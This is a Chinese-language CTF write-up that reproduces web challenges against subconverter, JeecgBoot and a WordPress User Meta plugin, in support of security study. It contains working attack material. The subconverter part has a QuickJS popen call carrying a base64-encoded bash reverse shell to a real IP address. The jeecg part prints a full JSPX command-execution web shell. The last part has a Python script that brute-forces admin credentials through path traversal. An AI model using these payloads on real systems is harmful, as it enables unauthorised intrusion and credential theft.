几次比赛的web附件的复现
wmctf subconverter
参考wp:https://rce.moe/2022/08/23/WMCTF-2022-WRITEUP/
c语言代码审计。。。真滴折磨。main.cpp里面把所有路由列出来了。/convert
:getConvertedRuleset
std::string getConvertedRuleset(RESPONSE_CALLBACK_ARGS)
{
std::string url = urlDecode(getUrlArg(request.argument, "url")), type = getUrlArg(request.argument, "type");
return convertRuleset(fetchFile(url, parseProxy(global.proxyRuleset), global.cacheRuleset), to_int(type));
}
fetchFile:
std::shared_future<std::string> fetchFileAsync(const std::string &path, const std::string &proxy, int cache_ttl, bool find_local, bool async)
{
std::shared_future<std::string> retVal;
/*if(vfs::vfs_exist(path))
retVal = std::async(std::launch::async, [path](){return vfs::vfs_get(path);});
else */if(find_local && fileExist(path, true))
retVal = std::async(std::launch::async, [path](){return fileGet(path, true);});
else if(isLink(path))
retVal = std::async(std::launch::async, [path, proxy, cache_ttl](){return webGet(path, proxy, cache_ttl);});
else
return std::async(std::launch::async, [](){return std::string();});
if(!async)
retVal.wait();
return retVal;
}
std::string fetchFile(const std::string &path, const std::string &proxy, int cache_ttl, bool find_local)
{
return fetchFileAsync(path, proxy, cache_ttl, find_local, false).get();
}
明显可以任意文件读取,但是只能读当前文件夹下面的。除此之外,还有一个webGet:
if(cache_ttl > 0)
{
md("cache");
const std::string url_md5 = getMD5(url);
const std::string path = "cache/" + url_md5, path_header = path + "_header";
struct stat result;
if(stat(path.data(), &result) == 0) // cache exist
{
time_t mtime = result.st_mtime, now = time(NULL); // get cache modified time and current time
if(difftime(now, mtime) <= cache_ttl) // within TTL
{
writeLog(0, "CACHE HIT: '" + url + "', using local cache.");
//guarded_mutex guard(cache_rw_lock);
cache_rw_lock.readLock();
defer(cache_rw_lock.readUnlock();)
if(response_headers)
*response_headers = fileGet(path_header, true);
return fileGet(path, true);
}
writeLog(0, "CACHE MISS: '" + url + "', TTL timeout, creating new cache."); // out of TTL
}
明显有缓存文件的功能,且可以读取远程文件。然后在subconverter
即/sub
路由里面,代码又臭又长。关键点:
for(std::string &x : urls)
{
x = regTrim(x);
//std::cerr<<"Fetching node data from url '"<<x<<"'."<<std::endl;
writeLog(0, "Fetching node data from url '" + x + "'.", LOG_LEVEL_INFO);
if(addNodes(x, nodes, groupID, parse_set) == -1)
{
if(global.skipFailedLinks)
writeLog(0, "The following link doesn't contain any valid node info: " + x, LOG_LEVEL_WARNING);
else
{
*status_code = 400;
return "The following link doesn't contain any valid node info: " + x;
}
}
groupID++;
}
然后这个addNotes
有点东西;
if(authorized) script_safe_runner(parse_set.js_runtime, parse_set.js_context, [&](qjs::Context &ctx)
{
if(startsWith(link, "script:")) /// process subscription with script
{
writeLog(0, "Found script link. Start running...", LOG_LEVEL_INFO);
string_array args = split(link.substr(7), ",");
if(args.size() >= 1)
{
std::string script = fileGet(args[0], false);
try
{
ctx.eval(script);
args.erase(args.begin()); /// remove script path
auto parse = (std::function<std::string(const std::string&, const string_array&)>) ctx.eval("parse");
...
有个qjs运行,即quickjs。需要token认证,然后就会执行script:
后面的qjs文件。所以思路是缓存一个qjs文件,然后执行。先读配置文件拿token:
/convert?url=pref.toml
看qjs的官方文档,可以发现std下面有个popen:
popen(command, flags, errorObj = undefined)
Open a process by creating a pipe (wrapper to the libc popen()). Return the FILE object or null in case of I/O error. If errorObj is not undefined, set its errno property to the error code or to 0 if no error occured.
然后搜了一下咋用,发现flags=r
即可。
std.popen("bash -c 'echo YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45Ni4xNzMuMTE2LzIzMzMgMD4mMQ==|base64 -d|bash'","r");
然后缓存qjs文件:
/convert?url=http://url/qjs
运行qjs文件:
/convert?url=script:cache/md5(url)&token=SjgH1fcJMYV5R&target=clash
wmctf jeecg
偷了一天懒,半夜才开始审代码,审到3点直接睡觉了,昏昏沉沉的。虽然审不出啥名堂,但是搜到了一篇文章:https://forum.butian.net/share/987
成功找到鉴权绕过。
有很多任意文件上传漏洞,没有任何的过滤/限制。这里随机挑一个来说
iconController?saveOrUpdateIcon 存在任意文件上传漏洞,设置了不重命名与上传。
然后试了这个,结果没出,然后文章也没有详细步骤,直接睡觉了。第二天看wp,原来除此之外还有上传的洞。。。所以直接全局搜upload
:
虽然很多,但是专门找
controller
就没几个,可以找到CgUploadController
,然后ajaxSaveFile
没有任何过滤,直接上传,发现jsp不能访问,所以搞jspx就行:
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" xmlns="http://www.w3.org/1999/xhtml" xmlns:c="http://java.sun.com/jsp/jstl/core" version="2.0">
<jsp:directive.page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"/>
<jsp:directive.page import="java.util.*"/>
<jsp:directive.page import="java.io.*"/>
<jsp:directive.page import="sun.misc.BASE64Decoder"/>
<jsp:scriptlet><![CDATA[
String tmp = pageContext.getRequest().getParameter("str");
if (tmp != null&&!"".equals(tmp)) {
try{
Process p = Runtime.getRuntime().exec(tmp);
InputStream in = p.getInputStream();
BufferedReader br = new BufferedReader(new InputStreamReader(in,"GBK"));
String brs = br.readLine();
while(brs!=null){
out.println(brs+"</br>");
brs = br.readLine();
}
}catch(Exception ex){
out.println(ex.toString());
}
}]]>
</jsp:scriptlet>
</jsp:root>
绕过鉴权直接上传就行。
qwb 强网先锋WP-UM
看到有插件User Meta
,然后谷歌了一下,发现有任意文件泄露漏洞:https://www.zilyun.com/23036.html
比赛的时候最后不到一小时才看这题,本地还没搭起环境,以为username目录和给的源码一样(忘记看dockerfile了)。。然后爆半天没反应,就放弃了。直接贴个一把嗦脚本:
import string
import requests
url = "http://127.0.0.1/wp-admin/admin-ajax.php"
strings = list(string.printable)
cookies = {"wordpress_logged_in_5c016e8f0f95f039102cbe8366c5c7f3": "asd%7C1661765970%7CryIzotcx4oxFL0oMAnFDzpleZEKSAPW6wMdz3nLiVF1%7C1bc141b84b075616fd22822b1e624470755b06c894970f028e291e250acbff6f"}
result = ""
flag = 0
for k in ["username", "password"]:
for i in range(1, 50):
for j in strings:
data = {"field_name": "upload",
"filepath": "/../../../../{}/{}{}".format(k, str(i), j),
"field_id": "um_field_2",
"form_key": "upload",
"action": "um_show_uploaded_file",
"pf_nonce": "954177d1f2",
"is_ajax": "true"
}
res = requests.post(url=url, data=data, cookies=cookies)
if "<span>Remove</span>" in res.text:
result += j
print(result)
break
if j == strings[-1]:
print("[*]{}: ".format(k) + result)
flag = 1
result = ""
break
if flag != 0:
if k == "password":
exit(1)
flag = 0
break
得到后台管理的帐号密码,直接登陆,剩下就很简单。修改wordpress的配置文件即可:
然后访问404界面得到flag。